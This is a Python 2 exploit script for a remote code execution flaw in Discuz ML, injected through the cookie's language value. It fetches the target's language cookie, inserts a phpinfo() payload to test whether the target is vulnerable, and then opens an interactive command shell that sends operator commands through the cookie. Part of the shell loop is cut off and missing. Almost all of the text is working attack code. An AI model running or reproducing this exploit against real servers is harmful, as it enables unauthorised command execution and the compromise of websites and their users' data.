# coding:utf-8 # Author:LSA # Description:discuz ml rce(cookie-language) # Date:20190714 import requests import optparse #from requests.packages import urllib3 import sys import urllib3 import re from bs4 import BeautifulSoup import Queue import threading import os import datetime reload(sys) sys.setdefaultencoding('utf-8') lock = threading.Lock() q0 = Queue.Queue() threadList = [] global success_count success_count = 0 total_count = 0 def get_setcookie_language_value(tgtUrl,timeout): urllib3.disable_warnings() tgtUrl = tgtUrl try: rsp = requests.get(tgtUrl, timeout=timeout, verify=False) rsp_setcookie = rsp.headers['Set-Cookie'] # print rsp.text pattern = re.compile(r'(.*?)language=') language_pattern = pattern.findall(rsp_setcookie) setcookie_language = language_pattern[0].split(' ')[-1].strip() + 'language=en' return str(setcookie_language) except: print str(tgtUrl) + ' get setcookie language value error!' return 'get-setcookie-language-value-error' def dz_ml_rce_check(tgtUrl, setcookie_language_value, timeout): tgtUrl = tgtUrl check_payload = setcookie_language_value + '\'.phpinfo().\';' headers = {} headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36"; headers["Cookie"] = check_payload; check_rsp = requests.get(tgtUrl,headers=headers,timeout=timeout,verify=False) #print headers['Cookie'] if check_rsp.status_code == 200: try: if (check_rsp.text.index('PHP Version')): print 'target is vulnerable!!!' else: soup = BeautifulSoup(check_rsp.text, 'lxml') if (soup.find('title')): print 'target seem not vulnerable-' + 'return title: ' + str(soup.title.string) + '\n' except ValueError, e: print 'target seem not vulnerable-' + e.__repr__() except: print 'target seem not vulnerable-Unknown error.' else: print 'Target seem not vulnerable-status code: ' + str(check_rsp.status_code) + '\n' def dz_ml_rce_cmdshell(tgtUrl, setcookie_language_value, timeout): #cmdshell_pattern = re.compile(r'([\s][\S]*?)>> ") if command == 'exit': break cmd_exp_send = setcookie_language_value + cmd_exp.format(command) headers['Cookie'] = cmd_exp_send cmd_exp_rsp = requests.get(tgtUrl,headers=headers,timeout=timeout,verify=False) cmdshell_result = cmd_exp_rsp.text[0:1000].split('